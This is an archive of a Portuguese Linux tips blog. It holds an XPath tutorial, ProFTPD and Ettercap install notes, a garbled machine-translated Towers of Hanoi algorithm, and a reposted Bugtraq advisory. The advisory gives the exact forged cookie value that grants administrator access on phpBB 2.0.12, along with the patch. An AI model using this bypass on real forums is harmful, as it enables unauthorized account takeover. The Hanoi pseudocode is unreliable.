Com isso o programa ssh criar? um t?nel pela porta 22 vinculando uma porta local (2121) para o servidor remoto na porta indicada ap?s o endere?o de IP.

Apesar de usar o pr?prio comando scp ou ainda o sftp est? ? mais uma op??o para comunica??o com um servidor de FTP.

At? Mais

Posted in Sem categoria

Tutorial XPath XML

Colabora??o: Ot?vio Augusto Bizetto Penatti

Este tutorial ? uma tradu??o do tutorial de XPath da W3Schools (http://www.w3schools.com/), dispon?vel em http://www.w3schools.com/xpath/default.asp

Tutorial XPath
==============

XPath ? um conjunto de regras de sintaxe para definir partes de um documento XML.

XPath ? o elemento principal no padr?o W3C XSLT. Sem o conhecimento de XPath voc? n?o ser? capaz de criar documentos XSLT.

Introdu??o ao XPath
===================

XPath ? um conjunto de regras de sintaxe para definir partes de um documento XML.

O que ? XPath?
==============

– XPath ? uma sintaxe para definir partes de um documento XML
– XPath usa caminhos para definir elementos XML
– XPath define uma biblioteca de fun??es padr?o
– XPath ? o elemento principal em XSLT
– XPath n?o ? escrito em XML
– XPath ? um padr?o W3C

Como caminhos de arquivos tradicionais
======================================

XPath usa express?es de caminho para identificar n?s em um documento XML. Essas express?es de caminho se parecem muito com as express?es que voc? v? quando voc? trabalha num sistema de arquivos de um computador:

w3schools/xpath/default.asp

Exemplo de XPath
================

Veja esse documento XML simples:

< ?xml version="1.0" encoding="ISO-8859-1"?>


Empire Burlesque
Bob Dylan 10.90


Hide your heart
Bonnie Tyler 9.90


Greatest Hits
Dolly Parton 9.90

A express?o XPath abaixo seleciona o elemento RAIZ catalog:

/catalog

A express?o XPath abaixo seleciona todos os elementos cd do elemento catalog:

/catalog/cd

A express?o XPath abaixo seleciona todos os elementos price de todos os elementos cd do elemento catalog:

/catalog/cd/price

Nota: Se o caminho come?a com uma barra ( / ) ele representa um caminho absoluto para um elemento!

XPath define uma biblioteca de fun??es padr?o
=============================================

XPath define uma biblioteca de fun??es padr?o para trabalhar com strings, n?meros e express?es booleanas.

A express?o XPath abaixo seleciona todos os elementos cd que tem um elemento price que tem um valor maior que 10.80:

/catalog/cd[price>10.80]

XPath ? usado em XSLT
=====================

XPath ? o elemento principal do padr?o XSLT. Sem o conhecimento de XPath voc? n?o ser? capaz de criar documentos XSLT.

Voc? pode ler mais sobre XSLT no nosso tutorial XSLT em ingl?s (http://www.w3schools.com/xsl/default.asp) ou em portugu?s (xslt.htm).

XPath ? um padr?o W3C
=====================

XPath foi liberado com uma recomenda??o W3C em 16 de novembro de 1999 como uma linguagem para endere?ar partes de um documento XML.

XPath foi desenvolvido para ser usado por XSLT, XPointer e outros softwares XML parsing.

Voc? pode ler mais sobre padr?es XML e XSl em nosso tutorial W3C (http://www.w3schools.com/w3c/default.asp)

Sintaxe XPath
=============

XPath usa express?es de caminho para localizar n?s dentro de documentos XML.

Documento XML de Exemplo
========================

N?s usaremos esse documento XML simples para descrever a sintaxe XPath:

< ?xml version="1.0" encoding="ISO-8859-1"?>


Empire Burlesque
Bob Dylan 10.90


Hide your heart
Bonnie Tyler 9.90


Greatest Hits
Dolly Parton 9.90

Localizando N?s
===============

Documentos XML podem ser representados como ?rvores de n?s (muito similar ? vis?o em ?rvore das pastas do seu computador).

XPath usa uma express?o padr?o para identificar n?s em um documento XML. Um padr?o XPath ? uma lista nomes de elementos filhos separada por barras que descreve o caminho atrav?s do documento XML. O padr?o “seleciona” elementos que combinam com o caminho.

A express?o XPath a seguir seleciona todos os elementos pre?o de todos os elementos cd do elemento catalog:

/catalog/cd/price

Nota: Se o caminho come?a com uma barra ( / ) ele representa um caminho absoluto para um elemento!

Nota: Se o caminho come?a com duas barras ( // ) ent?o todos os elementos no documento que se encaixam no crit?rio ser?o selecionados (mesmo que eles estejam em n?veis diferentes da ?rvore XML)!

A express?o XPath a seguir seleciona todos os elementos cd no documento:

//cd

Selecionando elementos desconhecidos
====================================

Curingas ( * ) podem ser usados para selecionar elementos XML desconhecidos.

A express?o XPath a seguir seleciona todos os elementos filhos de todos os elementos cd do elemento catalog:

/catalog/cd/*

A express?o XPath a seguir seleciona todos os elementos price que s?o elementos netos do elemento catalog:

/catalog/*/price

A express?o XPath a seguir seleciona todos os elementos price que t?m dois ancestrais:

/*/*/price

A express?o XPath a seguir seleciona todos os elementos no documento:

//*

Selecionando Se??es
===================

Usando-se colchetes numa express?o XPath voc? pode especificar um elemento adiante.

A express?o XPath a seguir seleciona o primeiro elemento cd filho do elemento catalog:

/catalog/cd[1]

A express?o XPath a seguir seleciona o ?ltimo elemento cd filho do elemento catalog (Nota: n?o existe a fun??o first()):

/catalog/cd[last()]

A express?o XPath a seguir seleciona todos os elementos cd do elemento catalog que tem um elemento price:

/catalog/cd[price]

A express?o XPath a seguir seleciona todos os elementos cd do elemento catalog que tem um elemento price com valor de 10.90:

/catalog/cd[price=10.90]

A express?o XPath a seguir seleciona todos os elementos price de todos os elementos cd do elemento catalog que tem um elemento price com valor de 10.90:

/catalog/cd[price=10.90]/price

Selecionando v?rios caminhos
============================

Usando o operador “|” numa express?o XPath voc? pode selecionar v?rios caminhos.

A express?o XPath a seguir seleciona todos os elementos title e artist do elemento cd do elemento catalog:

/catalog/cd/title | /catalog/cd/artist

A express?o XPath a seguir seleciona todos os elementos title e artist do documento:

//title | //artist

A express?o XPath a seguir seleciona todos os elementos title, artist e price do documento:

//title | //artist | //price

A express?o XPath a seguir seleciona todos os elementos title do elemento cd do elemento catalog, e todos os elementos artist no documento:

/catalog/cd/title | //artist

Selecionando atributos
======================

Em XPath todos os atributos s?o especificados pelo prefixo “@”.

Esta express?o XPath seleciona todos os atributos chamados country:

//@country

Esta express?o XPath seleciona todos os elementos cd que tem um atributo chamado country:

//cd[@country]

Esta express?o XPath seleciona todos os elementos cd que tem algum atributo:

//cd[@*]

Esta express?o XPath seleciona todos os elementos cd que tem um atributo chamado country com valor ‘UK’:

//cd[@country=’UK’]

XPath Location Paths (Caminho Locais XPath)
===========================================

Uma express?o de caminho local (location path) resulta em um conjunto de n?s.

Express?o de Caminho Local
==========================

Um caminho local pode ser absoluto ou relativo.

Um caminho local absoluto come?a com uma barra ( / ) e um caminho local relativo n?o. Em ambos os casos o caminho local consiste de um ou mais n?veis de localiza??o, cada um separado por uma barra:

Um caminho local absoluto:

/step/step/…

Um caminho local relativo:

step/step

Os n?veis de localiza??o s?o avaliados em ordem um de cada vez, da esquerda pra direita. Cada n?vel ? avaliado segundo os n?s no conjunto de n?s atual. Se o caminho local ? absoluto, o conjunto de n?s atual ? o n? raiz. Se o caminho local ? relativo, o conjunto de n?s atual consiste do n? onde a express?o est? sendo usada. N?veis de localiza??o consistem de:
– um eixo (especifica a rela??o de ?rvore entre os n?s selecionados pelo n?vel de localiza??o e o n? atual)
– um n? teste (especifica o tipo de n? e o nome expandido dos n?s selecionados pelo n?vel de localiza??o)
– zero ou mais predicados (usa express?es para refinar mais o conjunto de n?s selecionado pelo n?vel de localiza??o)

A sintaxe para um n?vel de localiza??o ?:

nomeeixo::noteste[predicado]

Exemplo:

child::price[price=9.90]

Eixos e N?s de Teste
====================

Um eixo define um conjunto de n?s relativo ao n? atual. Um n? de teste ? usado para identificar um n? dentro de um eixo. N?s podemos executar um n? de teste por nome ou por tipo.

|| Nome do Eixo | Descri??o ||
| ancestor | Cont?m todos os ancestrais (pais, av?s, etc) do n? atual. Nota: Este eixo incluir? sempre o n? raiz, a menos que o n? atual seja o n? raiz |
| ancestor-or-self | Cont?m o n? atual mais todos os seus ancestrais (pai, av?, etc) |
| attribute | Cont?m todos os atributos do n? atual |
| child | Cont?m todos os filhos do n? atual |
| descendant | Cont?m todos os descendentes (filhos, netos, etc) do n? atual. Nota: Este eixo nunca cont?m atributos ou n?s namespace |
| descendant-or-self | Cont?m o n? atual mais todos os seus descendentes (filhos, netos, etc) |
| following | Cont?m tudo no documento depois da tag de fechamento do n? atual |
| following-sibling | Cont?m todos os irm?os depois do n? atual. Nota: Se o n? atual ? um n? atributo ou um n? namespace, este eixo estar? vazio |
| namespace | Cont?m todos os n?s namespace do n? atual |
| parent | Cont?m o pai do n? atual |
| preceding | Cont?m tudo no documento que est? antes da tag de abertura do n? atual |
| preceding-sibling | Cont?m todos os irm?os antes do n? atual. Nota: Se o n? atual ? um n? atributo ou um n? namespace, este eixo estar? vazio |
| self | Cont?m o n? atual |

Exemplos

|| Exemplo | Resultado ||
| child::cd | Seleciona todos os elementos cd que s?o filhos do n? atual (se o n? atual n?o tem cds filhos, ser? selecionado um conjunto vazio de n?s) |
| attribute::src | Seleciona o atributo src do n? atual (se o n? atual n?o tem atributo src, ser? selecionado um conjunto vazio de n?s) |
| child::* | Seleciona todos os elementos filhos do n? atual |
| attribute::* | Seleciona todos os atributos do n? atual |
| child::text() | Seleciona o n? texto filho do n? atual |
| child::node() | Seleciona todos os filhos do n? atual |
| descendant::cd | Seleciona todos os elementos cd descendentes do n? atual |
| ancestor::cd | Seleciona todos os cds ancestrais do n? atual |
| ancestor-or-self::cd | Seleciona todos os cds ancestrais do n? atual e, se o n? atual ? um elemento cd, seleciona o n? atual tamb?m |
| child::*/child::price | Seleciona todos os pre?os netos do n? atual |
| / | Seleciona a raiz do documento |

Predicados
==========

Um predicado filtra um conjunto de n?s em um novo conjunto de n?s. Um predicado fica dentro de colchetes ( [] ).

Exemplos

|| Exemplo | Resultado ||
| child::price[price=9.90] | Seleciona todos os elementos price que s?o filhos do n? atual com um pre?o igual a 9.90 |
| child::cd[position()=1] | Seleciona o primeiro cd filho do n? atual |
| child::cd[position()=last()] | Seleciona o ?ltimo cd filho do n? atual |
| child::cd[position()=last()-1] | Seleciona o pen?ltimo cd filho do n? atual |
| child::cd[position()<6] | Seleciona os primeiros cinco cds filhos do n? atual |
| /descendant::cd[position()=7] | Seleciona o s?timo elemento cd no documento |
| child::cd[attribute::type=”classic”] | Seleciona todos os cds filhos do n? atual que t?m um atributo tipo com o valor “classic” |

Sintaxe Abreviada dos Caminhos Locais
=====================================

Abrevia??es podem ser usadas para descrever um caminho local.

A abrevia??o mais importante ? que child:: pode ser omitido de um n?vel de localiza??o.

|| Abrev. | Significado | Exemplo ||
| nada | child:: | cd ? o mesmo que child::cd |
| @ | attribute:: | cd[@type=”classic”] ? o mesmo que child::cd[attribute::type=”classic”] |
| . | self::node() | .//cd ? o mesmo que self::node()/descendant-or-self::node()/child::cd |
| .. | parent::node() | ../cd ? o mesmo que parent::node()/child::cd |
| //// | /descendant-or-self::node()/ | //cd ? o mesmo que /descendant-or-self::node()/child::cd |

Exemplos

|| Exemplo | Resultado ||
| cd | Seleciona todos os elementos cd que s?o filhos do n? atual |
| * | Seleciona todos os elementos filhos do n? atual |
| text() | Seleciona todos os n?s textos filhos do n? atual |
| @src | Seleciona o atributo src do n? atual |
| @* | Seleciona todos os atributos do n? atual |
| cd[1] | Seleciona o primeiro cd filho do n? atual |
| cd[last()] | Seleciona o ?ltimo cd filho do n? atual |
| */cd | Seleciona todos os cds netos do n? atual |
| /book/chapter[3]/para[1] | Seleciona o primeiro par?grafo do terceiro cap?tulo do livro |
| //cd | Seleciona todos os elementos cds descendentes da raiz do documento e assim seleciona todos os elementos cds no mesmo documento como o n? atual |
| . | Seleciona o n? atual |
| .//cd | Seleciona os elementos cds descendentes do n? atual |
| .. | Seleciona o pai do n? atual |
| ../@src | Seleciona o atributo src do pai do n? atual |
| cd[@type=”classic”] | Seleciona todos os cds filhos do n? atual que t?m o atributo “type” com o valor “classic” |
| cd[@type=”classic”][5] | Seleciona o quinto cd filho do n? atual que tem o atributo “type” com o valor “classic” |
| cd[5][@type=”classic”] | Seleciona o quinto cd filho do n? atual se esse filho tem o atributo “type” com valor “classic” |
| cd[@type and @country ] | Seleciona todos os cds filhos do n? atual que t?m ambos os atributos “type” e “country” |

Express?es XPath
================

XPath suporta express?es num?ricas, de igualdade, relacionais e booleanas.

Express?es Num?ricas
====================

Express?es num?ricas s?o usadas para realizar opera??es aritm?ticas em n?meros.

|| Operador | Descri??o | Exemplo | Resultado ||
| + | Adi??o | 6 + 4 | 10 |
| – | Subtra??o | 6 – 4 | 2 |
| * | Multiplica??o | 6 * 4 | 24 |
| div | Divis?o | 8 div 4 | 2 |
| mod | M?dulo (resto da divis?o) | 5 mod 2 | 1 |

Nota: XPath sempre converte cada operando em um n?mero antes de realizar um express?o aritm?tica.

Express?es de Igualdade
=======================

Express?es de igualdade s?o usadas para testar a igualdade entre dois valores.

|| Operador | Descri??o | Exemplo | Resultado ||
| = | Igual | price=9.80 | true (se o pre?o ? igual a 9.80) |
| != | Diferente | price!=9.80 | false |

Testando um conjunto de n?s
===========================

Se ? testada a igualdade do valor de teste em rela??o a um conjunto de n?s, o resultado ? verdadeiro se o conjunto de n?s cont?m algum n? com um valor igual ao valor de teste.

Se ? testada a desigualdade do valor de teste em rela??o a um conjunto de n?s, o resultado ? verdadeiro se o conjunto de n?s cont?m algum n? com um valor diferente ao valor de teste.

O resultado ? que o conjunto de n?s pode ser igual e diferente ao mesmo tempo!!!

Express?es Relacionais
======================

Express?es relacionais s?o usadas para comparar dois valores.

|| Operador | Descri??o | Exemplo | Resultado ||
| < | Menor | price<9.80 | false (se o pre?o ? 9.80) |
| <= | Menor ou igual | price<=9.80 | true |
| > | Maior | price>9.80 | false |
| >= | Maior ou igual | price>=9.80 | true |

Nota: XPath sempre converte cada operando em um n?mero antes de fazer a avalia??o.

Express?es Booleanas
====================

Express?es booleanas s?o usadas para comparar dois valores.

|| Operador | Descri??o | Exemplo | Resultado ||
| or | Ou | price=9.80 or price=9.70 | true (se o pre?o ? 9.80) |
| and | E | price< =9.80 and price=9.70 | false |Fun??es XPath
=============

XPath cont?m uma biblioteca de fun??es para convers?o de dados.

Biblioteca de Fun??es XPath
===========================

A biblioteca de fun??es XPath cont?m um conjunto de fun??es centrais para convers?o e tradu??o de dados.

Fun??es para Conjunto de N?s
============================

|| Nome | Descri??o | Sintaxe ||
| count() | Retorna o n?mero de n?s num conjunto de n?s | number=count(node-set) |
| id() | Seleciona elementos pelo seu ID ?nico | node-set=id(value) |
| last() | Retorna o n?mero da posi??o do ?ltimo n? na lista de n?s processados | number=last() |
| local-name() | Retorna a parte local de um n?. Um n? normalmente consiste de um prefixo, os dois pontos, seguidos pelo nome local | string=local-name(node) |
| name() | Retorna o nome do n? | string=name(node) |
| namespace-uri() | Retorna o namespace URI de um n? espec?fico | uri=namespace-url(node) |
| position() | Retorna a posi??o na lista de n?s do n? que est? sendo processado atualmente | number=position() |

Fun??es de Strings
==================

|| Nome | Descri??o | Sintaxe | Exemplo ||
| concat() | Retorna a concatena??o de todos os argumentos | string=concat(val1,val2,…) | concat(‘The’,’ ‘,’XML’) -> Resultado: ‘The XML’ |
| contains() | Retorna verdadeiro se a segunda string est? contida dentro da primeira string, sen?o retorna falso | bool=contains(val,substr) | contains(‘XML’,’X’) -> Restultado: true |
| normalize-space() | Remove espa?os antes e depois de uma string e substitui todas as seq??ncias internas de espa?os por um ?nico espa?o em branco | string=normalize-space(string) | normalize-space(‘ The XML ‘) -> Resultado: ‘The XML’ |
| starts-with() | Retorna verdadeiro se a primeira string come?a com a segunda string, sen?o retorna falso | bool=starts-with(string,substr) | starts-with(‘XML’,’X’) -> Resultado: true |
| string() | Converte o argumento em string | string(value) | string(314) -> Resultado: ‘314’ |
| string-length() | Retorna o n?mero de caracteres de uma string | number=string-length(string) | string-length(‘Beatles’) -> Resultado: 7 |
| substring() | Retorna um peda?o da string | string=substring(string,start,length) | substring(‘Beatles’,1,4) -> Resultado: ‘Beat’ |
| substring-after() | Retorna a parte da string que aparece depois do argumento substr | string=substring-after(string,substr) | substring-after(’12/10′,’/’) -> Resultado: ’10’ |
| substring-before() | Retorna a parte da string que aparece antes do argumento substr | string=substring-before(string,substr) | substring-before(’12/10′,’/’) -> Resultado: ’12’ |
| translate() | Realiza uma substitui??o caracter por caracter. Ela procura no argumento ‘value’ os caracteres contidos na ‘string1’ e substitui cada caractere pelo caractere da mesma posi??o na ‘string2′ | string=translate(value,string1,string2) | translate(’12:30′,’30’,’45’) ——-> Resultado: ’12:45′ —————– translate(’12:30′,’03’,’54’) ——-> Resultado: ’12:45′ —————– translate(’12:30′,’0123′,’abcd’) ——-> Resultado: ‘bc:da’ |

Fun??es Num?ricas
=================

|| Nome | Descri??o | Sintaxe | Exemplo ||
| ceiling() | Retorna o menor inteiro que n?o ? menor que o argumento (fun??o teto) | number=ceiling(number) | ceiling=(3.14) -> Resultado: 4 |
| floor() | Retorna o maior inteiro que n?o ? maior que o argumento (fun??o ch?o) | number=floor(number) | floor(3.14) -> Resultado: 3 |
| number() | Converte o argumento em um n?mero | number=number(value) | number(‘100’) -> Resultado: 100 |
| round() | Arredonda o argumento para o inteiro mais pr?ximo | integer=round(number) | round(3.14) -> Resultado: 3 |
| sum() | Retorna o valor total de um conjunto de valores num?ricos num conjunto de n?s | number=sum(nodeset) | sum(/cd/price) |

Fun??es Booleanas
=================

|| Nome | Descri??o | Sintaxe ||
| boolean() | Converte o argumento ‘value’ em Booleano e retorna verdadeiro ou falso | bool=boolean(value) |
| false() | Retorna falso | false() Exemplo: number(false()) -> Resultado: 0 |
| lang() | Retorna verdadeiro se o argumento ‘language’ ? igual ao idioma do elemento xsl:lang, sen?o retorna falso | bool=lang(language) |
| not() | Retorna verdadeiro se o argumento ‘condition’ ? falso, e falso se o argumento ? verdadeiro | bool=not(condition) Exemplo: not(false()) |
| true() | Retorna verdadeiro | true() Exemplo: number(true()) -> Resultado: 1 |

Exemplos XPath
==============

N?s iremos usar o cat?logo de CDs do nosso tutorial de XML para demonstrar alguns exemplos XPath.

O cat?logo de CDs
=================

Se voc? estudou o nosso tutorial de XML voc? lembrar? de documento XML:
(Uma fra??o do catalogo)

< ?xml version="1.0" encoding="ISO-8859-1"?>


Empire Burlesque
Bob Dylan
USA
Columbia 10.90 1985


Hide your heart
Bonnie Tyler
UK
CBS Records 9.90 1988

.
.
.
.

Se voc? tem o IE 5 ou superior voc? pode ver o cdcatalog.xml (http://www.w3schools.com/xpath/cdcatalog.xml).

Selecionando N?s
================

N?s demonstraremos como selecionar n?s de um documento XML usando a fun??o selectNodes no Internet Explorer. Esta fun??o tem uma express?o de caminho local como argumento:

xmlobject.selectNodes(Xpath expression)

Selecionando N?s cd
===================

O exemplo a seguir seleciona somente o primeiro n? do cat?logo de cds:

xmlDoc.selectNodes(“/catalog/cd[0]”)

Se voc? tem o IE 5 ou superior voc? pode fazer mais testes (http://www.w3schools.com/xpath/tryit.asp?filename=try_xpath_select_cdnodes_first).

Nota: IE 5 implementou que [0] deveria ser o primeiro n?, mas de acordo com o padr?o W3C, deve ser [1].

Selecionando N?s price
======================

O exemplo a seguir seleciona todos os n?s price do cat?logo de cds:

xmlDoc.selectNodes(“/catalog/cd/price”)

Se voc? tem o IE 5 ou superior voc? pode fazer mais testes (http://www.w3schools.com/xpath/tryit.asp?filename=try_xpath_select_pricenodes).

Selecionando o texto dos N?s price
==================================

O exemplo a seguir seleciona apenas o texto dos n?s price:

xmlDoc.selectNodes(“/catalog/cd/price/text()”)

Se voc? tem o IE 5 ou superior voc? pode fazer mais testes (http://www.w3schools.com/xpath/tryit.asp?filename=try_xpath_select_pricenodes_text).

Selecionando N?s cd com price>10.80
===================================

O exemplo a seguir seleciona todos os n?s cd com price>10.80:

xmlDoc.selectNodes(“/catalog/cd[price>10.80]”)

Se voc? tem o IE 5 ou superior voc? pode fazer mais testes (http://www.w3schools.com/xpath/tryit.asp?filename=try_xpath_select_pricenodes_high).

Selecionando N?s price com price>10.80
======================================

O exemplo a seguir seleciona todos os n?s price com price>10.80:

xmlDoc.selectNodes(“/catalog/cd[price>10.80]/price”)

Se voc? tem o IE 5 ou superior voc? pode fazer mais testes (http://www.w3schools.com/xpath/tryit.asp?filename=try_xpath_select_pricenodes_1080).
——————————————————————–
Colabore com a Dicas-L. Publique seu coment?rio sobre esta mensagem
em http://www.Dicas-L.unicamp.br/dicas-l/20050314.php
——————————————————————–
As mensagens da lista Dicas-L s?o veiculadas diariamente
para 26859 assinantes.

Todas as mensagens da Dicas-L ficam armazenadas em
http://www.Dicas-L.unicamp.br/dicas-l/

A redistribui??o desta e outras mensagens da lista Dicas-L pode
ser feita livremente segundo a licen?a Creative Commons
http://creativecommons.org/licenses/by-nc-sa/2.0/br/deed.pt

Posted in Sem categoria

Configurando o Proftpd 1.2.10

Neste artigo iremos mostrar como configurar o Proftpd 1.2.10 atrav?s do c?digo fonte:

1) baixe o c?digo fonte atrav?s do site do projeto:
ftp://ftp.proftpd.org/distrib/source/proftpd-1.2.10.tar.bz2

2) Descompacte o pacote, em nosso caso precisamos do bunzip2 para descompactar pois baixamos o pacote bz2:

#tar -jxvf proftpd-1.2.10.tar.bz2
#cd proftpd-1.2.10
#./configure
#make
#make install

3) Para iniciar o proftpd use
#/usr/local/sbin/proftpd

4) O arquivo de configura??o fica em /usr/local/etc/proftpd.conf

Espero ter ajudado

Posted in Sem categoria

Configurando o snirffer Ettercap 0.6.b pelo c?digo fonte

Neste tutorial iremos mostrar como configurar o sniffer Ettercap 0.6.b.

1) Pacotes necess?rios:
libncurses5-dev
dialog

2) Instalar as bibliotecas necess?rias:

#apt-get install libncurses5-dev

3) Descompactar e instalar o c?digo fonte do ettercap
#tar -zxvf ettercap-0.6.b.tar.gz
#./configure –disable-gtk
#make
#make install

4) Instalar os plugins
#cd ettercap-0.6.b/plugins
#make
#make install

Com isso voc? conseguir? instalar f?cilmente o Ettercap 0.6.b

Posted in Sem categoria

Exmplo de algoritmo para solu??o da Torre de Hanoi

to solve (present, final)
{
1 is maximum the total number of discs
2 are destiny the final site of maximum
3 are maximum disc =
repeat
4 while disc > 0 does
5 if disc already is in destiny,
6 or, to move disc to destiny are successful then
7 if maximum disc = then
8 decremente maximum in 1
9 if maximum = 0 then
10 finish // ready solution
aim-if
11 is destiny the final site of maximum
aim-if
si_no
12 are destiny the site different from destiny and from
site in where it is disc
aim-if
13 decremente disc in 1
aim-while
14 are p and q the sites different from destiny
15 are disc the minor of discs of the tops of p and q
16 are destiny the site between p and q with the greater top
aim-repeat
}

Posted in Sem categoria

Exploit para phpBB 2.0.12

Este artigo foi retirado do newsletter do Security Focus.

phpBB 2.0.12 Session Handling Administrator Authentication Bypass -SIMPLIFIED- Inbox

Wesley aka PPC to bugtraq
More options Mar 4

———————————–

phpBB 2.0.12 Session Handling
Administrator Authentication
Bypass EXPLOIT -SIMPLIFIED-
– By PPC^Rebyte

———————————–

03maa2005

** NEDERLANDSE VERSIE ONDERAAN / DUTCH VERSION BELOW **

[ ENGLISH VERSION ]

*** Status
__________

phpBB has already been informed about this exploit and has released a
‘critical update’ on 27 februari 2005, however most forums are still running
version 2.0.12 or lower.

VULNERABLE:
– 2.0.x –> 2.0.12

IMMUNE:
– 2.0.13 or newer

1* Intro
________

The discoverer of this bug is unknown, says “Paiserist” who wrote a C exploit
for this bug.

Link to Paisterist’s exploit at Packetstormsecurity:
http://packetstormsecurity.org/0503-exploits/phpbbsession.c

This program didn’t work as it should on my pc, so I had to find out a way
for myself to exploit the bug manually.
This seemed to be much easier than compiling that C exploit and fool around
with it until it eventually still doesn’t work (in my case).
This simplified manual method I’ll describe can also be used for Internet
Explorer or other browsers instead of only Mozilla/Firefox.

2* The bug
__________

We’re going to edit a cookie so that when you visit a certain forum another
time you will get logged in having admin rights. This is possible due to a
bug in includes/sessions.php
–> if( $sessiondata[‘autologinid’] == $auto_login_key )

3* Preparation
______________

1. Register at forum?

2. Log in with account
+ UNCHECK “Log in automatically”

3. Close browser to be sure a cookie is made.

4. Locate cookie
*firefox: X:\Documents and Settings\Name\Application
Data\Mozilla\Firefox\Profiles\profile.default\cookies.txt
–> search the .txt for the domainname (domain.tld)
–> default cookiename = phpbbmysql
*iexplorer: X:\Documents and Settings\Name\Cookies\Name@domain.tld
–> default cookiename = phpbbmysql

4* Let’s Xploit!
________________

Open the cookie in a text editor and search a line that resembles:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3B
s%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D

|
[ your ‘user id’ ] ____|

Replace this with:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3B
s%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

|
[ 2 = ‘user id’ of admin ] ____|

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Save cookie and close.
Open your browser and surf to forum.

You’ll now be automatically logged in having admin right 🙂

5* Solution
___________

* Update phpBB to version 2.0.13

– or –

* in “includes/sessions.php” replace code:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

if( $sessiondata[‘autologinid’] == $auto_login_key )

replace with:

if( $sessiondata[‘autologinid’] === $auto_login_key )

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

6* Outro
________

THE.END

Greetings 2 everyone at Rebyte and the whole Belgian scene !!
Additional greetings 2 Paisterist for the original C exploit !

— PPC^Rebyte —
— ppc@respected.as —

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[ NEDERLANDSE VERSIE ]

*** Status
__________

phpBB is ge?nformeerd over deze exploit en heeft een ‘critical update’
gelanceerd op 27 februari, maar de meeste forums draaien nog steeds op
versie 2.0.12 of lager.

KWETSBAAR:
– 2.0.x tot 2.0.12

IMMUUN:
– 2.0.13 of nieuwer

1* Intro
________

De ontdekker van de bug is onbekend, meldt “Paisterist” die een C exploit
heeft geschreven voor deze bug.

Link naar Paisterist’s exploit op Packetstormsecurity:
http://packetstormsecurity.org/0503-exploits/phpbbsession.c

Dit programma werkte voor geen klop op mijn pc, dus heb ik zelf een manier
gezocht, door middel van de exploit, om de bug handmatig te exploiteren.
Dit ging eigenlijk veel sneller dan de C exploit te moeten compileren
en ermee rond te moeten klungelen terwijl het uiteindelijk niet goed werkt
(in mijn geval).
De vereenvoudigde handmatige methode die ik omschrijf kan tevens gebruikt
worden voor Internet Explorer of andere browsers ipv alleen Firefox.

2* Werking
__________

We gaan een cookie zo aanpassen dat wanneer je een bepaald forum nog eens
bezoekt je ingelogd wordt met admin rechten door een bug in sessions.php
–> if( $sessiondata[‘autologinid’] == $auto_login_key )

3* Voorbereiding
________________

1. Eventueel Registreren op forum

2. Inloggen met account
+ Automatisch Inloggen UITVINKEN

3. Browser sluiten zodat er zeker een cookie wordt aangemaakt

4. Cookie lokaliseren
*bij firefox: X:\Documents and Settings\Name\Application
Data\Mozilla\Firefox\Profiles\profile.default\cookies.txt
–> zoek in de .txt naar de domeinnaam (domain.tld)
–> standaard cookienaam = phpbbmysql
*bij iexplorer: X:\Documents and Settings\Name\Cookies\Name@domain.tld
–> standaard cookienaam = phpbbmysql

4* Let’s Xploit!
________________

Open de cookie in een teksteditor en zoek naar een lijn die gelijkt op:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3B
s%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D

|
[ je ‘user id’ ] ____|

Vervang dit door:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3B
s%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

|
[ 2 = ‘user id’ van admin ] ____|

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Cookie opslaan en sluiten.
Browser openen en naar forum surfen.

Normaal wordt je nu ingelogd met admin rechten 🙂

5* Oplossing
____________

* phpBB updaten naar 2.0.13

– of –

* in includes/sessions.php code vervangen:

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

if( $sessiondata[‘autologinid’] == $auto_login_key )

vervangen door:

if( $sessiondata[‘autologinid’] === $auto_login_key )

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

6* Outro
________

THE.END

Greetings 2 everyone at Rebyte en de hele Belgische scene !!
Additional greetings 2 Paisterist voor de originele C exploit !

— PPC^Rebyte —
— ppc@respected.as —

Posted in Sem categoria

Usando comando Cut

O comando Cut ? usado para filtrar textos digamos que voc? queira listar todos os usu?rios do arquivo /etc/passwd e ainda troca-se todas as informa??es que est?o em letra min?sculo para ma?uscula, siga o exemplo abaixo:

cat etc/passwd |cut -d: -f1| sort -r| tr a-z A-Z > /usuarios

Posted in Sem categoria